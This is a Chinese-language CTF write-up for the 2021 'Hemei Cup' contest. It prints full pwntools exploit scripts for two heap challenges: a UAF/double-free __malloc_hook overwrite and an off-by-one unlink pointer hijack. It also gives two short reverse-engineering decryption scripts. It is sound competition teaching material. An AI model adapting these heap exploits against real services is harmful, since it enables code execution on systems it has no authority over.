2021年 “和美杯” 网络安全技能竞赛 Writeup

注意
本文最后更新于 2024-02-11,文中内容可能已过时。

题目是安恒给的,难度主要是“简单”和“中等”的,估计是比较早的题目了。

PWN

两个 PWN 都没给 libc,怀疑题目是比较早的题目,用 double free leak 了一下,发现就是 2.23,和本机环境一致。

sign_in

UAF,打 __malloc_hook - 0x23,用 double free 来触发 malloc,这时栈上会有很多 0,可以符合 onegadget 的要求

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
from pwn import *

elf = None
libc = None
file_name = "./sign_in"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter("Your choice : ", str(idx))


def add(size, name, message = "wjh"):
    choice(1)
    sh.sendlineafter("size of the game's name: ", str(size))
    sh.sendafter("game's name:", name)
    sh.sendlineafter("game's message:", message)


def show():
    choice(2)


def delete(idx):
    choice(3)
    sh.sendlineafter("game's index:", str(idx))


def pwn(sh, elf, libc):
    context.log_level = "debug"

    add(0x68, 'a' * 0x68) #0
    add(0x68, 'a' * 0x68) #1

    add(0x88, 'a' * 0x88)
    add(0x88, 'a' * 0x88)
    delete(2)
    add(0x58, 'a') #2
    show()

    libc_base = get_address(sh, True, offset=-0x3c4b61)

    one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    malloc_hook_addr = libc_base + 0x3c4b10
    delete(0)
    delete(1)
    delete(0)

    add(0x68, p64(malloc_hook_addr - 0x23))
    add(0x68, 'b' * 8)
    add(0x68, 'c' * 8)
    add(0x68, 'a' * 0x13 + p64(one_gadget[1] + libc_base))
    #get_gdb(sh)
    delete(0)
    delete(0)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

Summeron

感觉比前一题还简单,洞是 off by one,因为没开 PIE,直接劫持全局指针就好。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
from pwn import *

elf = None
libc = None
file_name = "./Summeron"


# context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def choice(idx):
    sh.sendlineafter("choice >", str(idx))


def add(size, content='sh\x00'):
    choice(1)
    sh.sendlineafter("Please enter the length of the Summoner's name:", str(size))
    sh.sendlineafter("Please enter the length of the summoner's introduction:", str(0))
    sh.sendlineafter("Summoner's name:", content)
    sh.recvuntil("Add success!")


def edit(idx, content):
    choice(2)
    sh.sendlineafter("index>", str(idx))
    sh.sendlineafter("Do you want to edit the name or introduction?(1/2):", "1")
    sh.sendlineafter("Please enter the name of the new summoner:", str(content))


def delete(idx):
    choice(3)
    sh.sendlineafter("index>", str(idx))
    sh.recvuntil('Delete success!')


def show(idx):
    choice(4)
    sh.sendlineafter("index>", str(idx))


def pwn(sh, elf, libc):
    context.log_level = "debug"
    target = 0x0000000000602060
    FD = target - 0x18
    BK = target - 0x10

    add(0xF8)  # 0
    add(0xF8)  # 1
    add(0x18)  # 2
    delete(1)
    add(0xF8, '\n')  # 3
    show(3)
    libc_base = get_address(sh, True, offset=-0x3c4b0a)
    edit(0, p64(0) + p64(0xF1) + p64(FD) + p64(BK) + 'a' * (0xF8 - 0x28) + p64(0xF0) + '\x00')
    delete(3)
    edit(0, 'a' * 0x18 + p64(libc_base + 0x3c67a8))

    edit(0, p64(libc_base + 0x453a0))
    # get_gdb(sh)
    choice(3)
    sh.sendlineafter("index>", str(2))

    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

RE

冰冰给我 flag 可以吗

exe 解包得到 pyc,pyc 解密得到源码,逆回去写一下解密就好。这题的 flag 有误,找了一下裁判。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import base58



if __name__ == '__main__':
    fp = open(r'C:\\1.png', 'rb')
    tmp = fp.read().decode('utf-8')
    t = ""
    for i in range(len(tmp)):
        t += chr(((ord(tmp[i]) ^ 0x89) + 256) & 0xff)
    tmp = base58.b58decode(t)
    fp = open('C:\\2.png', 'wb')
    fp.write(tmp)
    fp.close()

howtodecompile

几个花指令,直接 nop 掉就能看伪代码了,写个解密就好。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <cstdio>
#include <string.h>

unsigned char input1[] =
{
  0x60, 0x65, 0x77, 0x67, 0x70, 0x62, 0x5F, 0x50, 0x4C, 0x4D,
  0x57, 0x7B, 0x4D, 0x57, 0x7B, 0x45, 0x7B, 0x42, 0x45, 0x4F,
  0x41, 0x7B, 0x42, 0x48, 0x45, 0x43, 0x1B, 0x59, 0x00
};

int main()
{
    unsigned int dword_20DC30[28] = {
    0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0xFFFFFFDA,
    0xFFFFFFE7, 0x00000006, 0xFFFFFFBD, 0x00000000, 0xFFFFFFE0, 0xFFFFFFB4, 0x00000002, 0xFFFFFFF6,
    0x00000000, 0x0000000E, 0xFFFFFFF1, 0x0000000A, 0xFFFFFFCE, 0x00000000, 0xFFFFFFE0, 0xFFFFFFB5,
    0x00000000, 0xFFFFFFD2, 0xFFFFFFE2, 0x00000000
    };
    char v2; // bl
    char v3; // al
    char Destination[264]; // [esp+D0h] [ebp-114h] BYREF
    int i; // [esp+1D8h] [ebp-Ch]
    for (int i = 0; i < 28; ++i)
    {
        input1[i] ^= 0x24u;
    }
    for (i = 0; i < 28; ++i)
    {
        input1[i] += dword_20DC30[i];
    }
    printf("%s", input1);
}

题目下载

2021 年和美杯 PWN、RE 题目

0%